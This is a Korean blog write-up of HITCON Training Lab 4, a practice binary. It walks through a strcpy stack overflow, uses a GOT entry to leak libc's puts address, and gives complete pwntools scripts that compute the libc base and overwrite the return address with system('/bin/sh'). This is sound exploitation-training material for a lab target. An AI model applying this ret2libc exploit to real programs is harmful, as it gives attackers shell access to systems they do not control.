tmxklab
hitcon training [LAB 4] 본문
1. 문제
1) mitigation확인
2) 문제 확인
음,,,, segmenatation fault가 뜬 것을 보니 잘못된 주소를 참조한 것 같다.
3) 코드흐름 파악
3-1) main함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v3; // ST04_4
int v4; // ST08_4
char src; // [esp+12h] [ebp-10Eh]
char buf; // [esp+112h] [ebp-Eh]
_DWORD *v8; // [esp+11Ch] [ebp-4h]
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0, &buf, 10u);
v8 = (_DWORD *)strtol(&buf, v3, v4);
See_something(v8);
printf("Leave some message for me :");
fflush(stdout);
read(0, &src, 0x100u);
Print_message(&src);
puts("Thanks you ~");
return 0;
}
-
buf에 10bytes입력을 받아 strtol함수의 인자로 들어감
-
strtol(const char *nptr, char **endptr, int base)
-
string to long을 뜻하며 특정 진법으로 표기된 문자열을 정수로 변환
-
nptr : 문자열 포인터
-
endptr : 변환이 멈춰진 문자열 포인터
-
base 변환될 진법(2, 8, 10, 16진수 선택)
-
retrun값 : 성공 시 정수 값(long), 실패시 0L
-
-
strtol함수의 리턴 값을 See_something의 인자로 들어감
-
src변수에 0x100만큼 입력 값을 받고 Print_message의 인자로 들어감
3-2) See_something함수
int __cdecl See_something(_DWORD *a1)
{
return printf("The content of the address : %p\n", *a1);
}
-
leak하기 위해 사용될 것 같음
3-3) Print_message함수
int __cdecl Print_message(char *src)
{
char dest; // [esp+10h] [ebp-38h]
strcpy(&dest, src);
return printf("Your message is : %s", &dest);
}
-
main에서 src변수를 입력 값으로 0x100만큼 받은 거를 dest로 옮김
-
dest변수는 [ebp-0x38]에 위치하므로 bof발생
2. 접근 방법
1) strtol함수 디버깅
-
입력 값에 "9999"을 넣었을 때 strtol에 들어가는 인자는 **buf[esp+0x112]**만 존재
-
strtol리턴 값이 eax에 저장되었으며 0x270f는 9999(십진수)를 16진수로 변환한 값
2) Print_message함수 디버깅
src에 더미 값 60bytes넣은 경우
-
ebp에 0x41414141이 저장됨 → ret 건들 수 있음
그럼 print_message함수를 통해 rtl을 수행하기 위해 system함수와 /bin/sh를 찾아보자
3) system함수 & /bin/sh
elf파일에는 system함수를 찾을 수 없다.
하지만, 프로그램을 실행시키면
dynamically linking이므로 /lib/i386-linux-gnu/libc-2.23.so라이브러리에 존재하는 system함수의 offset을 구할 수 있다.("/bin/sh"도 똑같음)
따라서, See_something함수를 통해 원하는 함수의 got를 넣으면 해당 함수의 실제 주소 값을 leak할 수 있으므로 libc.base_address를 구할 수 있다.
참고 : libc.base_address = leak - libc.symbols['??']
3. 풀이
1) leak할 함수
처음 read함수가 호출되기까지 puts(), printf(), fflush()가 사용되었으므로 이 셋 중에 아무거나 선택한다.(여기서는 puts()선택)
leak 코드
from pwn import *
context.log_level="debug"
p = process("./ret2lib")
e = ELF("./ret2lib")
puts_got = e.got['puts']
print("puts_got : "+hex(puts_got))
p.sendafter(":", str(puts_got))
p.interactive()
실행 결과
-
실제 puts()의 주소 값이 출력된다.
이제 rtl을 위한 준비는 끝났다.
2) 익스 코드
from pwn import *
#context.log_level="debug"
p = process("./ret2lib")
#gdb.attach(p)
e = ELF("./ret2lib")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
system_offset = libc.symbols['system']
puts_got = e.got['puts']
puts_offset = libc.symbols['puts']
binsh_offset = libc.search("/bin/sh").next()
print("[*] puts_got : "+hex(puts_got))
print("[*] puts_libc : "+hex(puts_offset))
print("[*] binsh_libc : "+hex(binsh_offset))
p.sendafter(":",str(puts_got))
puts_addr = int(p.recvuntil("\n")[-11:], 16)
print("[*] puts_addr : "+hex(puts_addr))
base_addr = puts_addr - puts_offset
system_addr = system_offset + base_addr
binsh = binsh_offset + base_addr
payload = "A"*60
payload += p32(system_addr) + "A"*4 + p32(binsh)
p.sendafter(":", payload)
p.interactive()
3) 실행 결과
'War Game > hitcon training' 카테고리의 다른 글
hitcon training [LAB 6] (0) | 2020.07.19 |
---|---|
hitcon training [LAB 5] (0) | 2020.07.19 |
hitcon training [LAB 3] (0) | 2020.07.19 |
hitcon training [LAB 2] (0) | 2020.07.19 |
hitcon training [LAB 1] (0) | 2020.07.19 |